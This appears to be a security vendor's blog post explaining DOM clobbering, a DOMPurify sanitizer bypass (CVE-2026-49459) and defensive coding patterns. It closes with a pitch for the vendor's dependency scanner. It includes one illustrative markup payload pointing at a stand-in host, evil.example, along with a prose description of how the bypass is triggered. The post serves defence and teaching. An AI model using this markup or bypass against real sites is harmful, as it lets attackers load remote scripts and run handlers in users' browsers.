On June 15, 2026, GitHub and GitLab's advisory databases published CVE-2026-49459, describing a bypass in DOMPurify — the sanitizer embedded in thousands of front-end codebases — that lets an attacker smuggle a live onmouseover handler through sanitization untouched. The trick doesn't involve a <script> tag, an eval() call, or a malformed URL scheme. It involves naming an HTML element so that its name attribute collides with an internal property DOMPurify's own clobber-detection logic checks for, tricking the sanitizer into skipping attribute cleanup on the element that matters. This is DOM clobbering: a technique where pure, scriptless HTML markup overwrites global JavaScript variables and DOM references, redirecting application logic that was never designed to be attacker-influenced. It has been documented since at least PortSwigger's Web Security Academy research on client-side vulnerabilities, and it keeps resurfacing because most defenses are built to stop <script> tags and inline event handlers — not <a id=x> and <form name=y>. This post walks through how clobbering actually works at the browser level, the DOMPurify bypass in detail, and the specific coding patterns that prevent it.
What actually happens when two elements share an id?
When two or more HTML elements share the same id (or name) attribute, browsers don't throw an error or silently pick one — they group them into an HTMLCollection and expose that collection through document.getElementById lookups and, more dangerously, through automatic global variable creation. Consider:
<a id=config><a id=config name=payload href="//evil.example/x.js">
If application code later does window.config expecting an object, it instead receives an HTMLCollection of the two anchor tags. Property access like window.config.payload then resolves to the second element's href, because named child elements become accessible properties of the collection. Code written as if (window.config) loadScript(window.config.src) was never audited against attacker-supplied HTML — it assumed config could only ever be undefined or a real object it defined itself. When a sanitizer allow-lists id and name because they seem cosmetic, this is the gap that opens.
Why does the iframe/window.name vector matter for CSP bypasses?
Naming an <iframe> element (<iframe name=x>) causes the browser to assign that iframe's contentWindow to the corresponding global property on its parent — window.x becomes a live reference to the iframe's window object, not a string or DOM node. This is a distinct and more powerful clobbering primitive than the id collision case, because a contentWindow object carries its own location, document, and nested globals that an attacker partially controls from inside the iframe. PortSwigger's applied research, published as "Bypassing CSP via DOM clobbering," documented that this vector could be chained to defeat Content-Security-Policy protections that rely on nonces or hashes: if application script trusted a clobbered global to decide which script to load or which nonce to compare against, the CSP directive itself never had to be broken — the value it was checking was already attacker-controlled before the check ran. This is why OWASP's DOM Clobbering Prevention Cheat Sheet treats iframe-name clobbering as a separate risk category from simple id collisions, not a variant of the same bug.
How did DOM clobbering break DOMPurify's own sanitizer?
DOMPurify ships a SANITIZE_DOM option, enabled by default, specifically to strip clobbering collisions against built-in DOM APIs and properties before they can interfere with its own sanitization pass — an acknowledgment that a sanitizer walking the DOM to remove dangerous markup is itself vulnerable to markup that lies about what kind of node it is. Internally, a helper function _isClobbered checks whether properties like nodeName, namespaceURI, insertBefore, and hasChildNodes still behave like functions/strings rather than having been overwritten by a clobbered child element's name attribute. CVE-2026-49459, published to the GitHub and GitLab advisory databases on June 15, 2026 (affecting DOMPurify ≤3.4.5), showed that when sanitize() is called with IN_PLACE: true and the root element is an HTMLFormElement carrying an inline event-handler attribute such as onmouseover, a single descendant with a name matching one of those checked property names causes _isClobbered to report the root itself as clobbered. DOMPurify's attribute-sanitization step then early-returns without inspecting the root's attributes at all — the handler survives sanitization completely, because the defense built to catch clobbering was, in this one code path, defeated by clobbering.
What are the concrete coding patterns that prevent clobbering?
The fix is never trusting a global or property lookup that could have been populated by markup instead of by your own code. First, never read configuration or state off bare globals populated implicitly by HTML — use module-scoped const/let bindings that HTML cannot touch, instead of window.config-style patterns that any id="config" element silently overwrites. Second, before using any value pulled from a DOM lookup, verify its actual type: if (window.config instanceof HTMLElement) (or checking it is not an element/collection when you expect a plain object) turns a silent hijack into a fail-safe no-op, per OWASP's cheat sheet guidance. Third, prefer non-guessable, namespaced id/name values for anything security-relevant, since predictable ids (config, settings, options) are exactly what attackers target first. Fourth, if you sanitize user HTML, confirm SANITIZE_DOM stays enabled (it's on by default in DOMPurify, but explicit config sometimes disables it for performance) and patch past the ≤3.4.5 IN_PLACE bypass window. None of these require rewriting your rendering pipeline — they require treating window.<anything> the way you already treat request.body: untrusted until checked.
How does Safeguard help?
DOM clobbering isn't a dependency-graph problem the way a vulnerable package version is, so Safeguard doesn't claim to detect the clobbering pattern itself inside your rendered HTML — that's runtime/DOM-level analysis, not software composition analysis. Where Safeguard does help directly is the supply-chain half of this story: when a DOMPurify version affected by CVE-2026-49459 shows up as a resolved dependency in your package-lock.json or pnpm-lock.yaml, Safeguard's SCA scanning flags it against the CVE record automatically, and reachability analysis confirms whether your build actually calls sanitize() with IN_PLACE: true before ranking it urgent. That's the same discipline this post argues for at the code level — don't trust an input until you've verified what it actually is — applied to your dependency tree instead of your DOM.